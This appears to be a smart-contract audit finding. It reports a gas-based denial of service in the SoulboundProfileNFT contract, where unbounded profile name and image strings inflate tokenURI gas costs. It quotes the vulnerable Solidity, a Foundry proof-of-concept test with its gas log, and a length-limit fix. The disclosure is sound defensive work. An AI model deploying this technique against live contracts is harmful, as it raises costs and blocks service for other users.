Summary
The SoulboundProfileNFT
contract is vulnerable to a gas-based denial of service attack where malicious users can create profiles with extremely long names, significantly increasing gas costs for reading profile metadata.
Vulnerability Details
The mintProfile
function allows users to input name
and profileImage
strings of arbitrary length. These strings are stored in the _profiles
mapping and later used in the tokenURI
function to generate on-chain metadata. When tokenURI
is called, the contract encodes the metadata (including the long strings) into a Base64-encoded JSON string. This process consumes significant gas, especially for excessively long strings, leading to potential denial of service (DoS) for systems that rely on reading metadata.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (ownerOf(tokenId) == address(0)) {
revert ERC721Metadata__URI_QueryFor_NonExistentToken();
}
string memory profileName = _profiles[tokenId].name;
uint256 profileAge = _profiles[tokenId].age;
string memory imageURI = _profiles[tokenId].profileImage;
return string(
abi.encodePacked(
_baseURI(),
Base64.encode(
bytes(
abi.encodePacked(
'{"name":"',
profileName,
'", ',
'"description":"A soulbound dating profile NFT.", ',
'"attributes": [{"trait_type": "Age", "value": ',
Strings.toString(profileAge),
"}], ",
'"image":"',
imageURI,
'"}'
)
)
)
)
);
}
Poc
function testGasAttackWithLongName() public {
vm.prank(user);
soulboundNFT.mintProfile("Alice", 25, "ipfs://profileImage");
string memory longName = "";
for(uint i = 0; i < 1000; i++) {
longName = string.concat(longName, "a");
}
vm.prank(address(0x456));
soulboundNFT.mintProfile(longName, 25, "ipfs://profileImage");
uint256 gas1 = gasleft();
soulboundNFT.tokenURI(1);
uint256 normalURIGas = gas1 - gasleft();
uint256 gas2 = gasleft();
soulboundNFT.tokenURI(2);
uint256 longURIGas = gas2 - gasleft();
console.log("Normal tokenURI gas:", normalURIGas);
console.log("Long name tokenURI gas:", longURIGas);
console.log("Gas increase:", longURIGas - normalURIGas);
assertTrue(longURIGas > normalURIGas, "TokenURI gas should increase with long name");
}
Output log
[PASS] testGasAttackWithLongName() (gas: 2012522)
Logs:
Normal tokenURI gas: 17308
Long name tokenURI gas: 104569
Gas increase: 87261 #About six times the gas cost for short profile names
Impact
Attackers can Create multiple profiles with extremely long names Making the protocol expensive to use or cause reverts when the protocol is out of gas due to high gas usage
Tools Used
manual review
Recommendations
Add checks in mintProfile to restrict name and profileImage to reasonable lengths (e.g., 100 characters).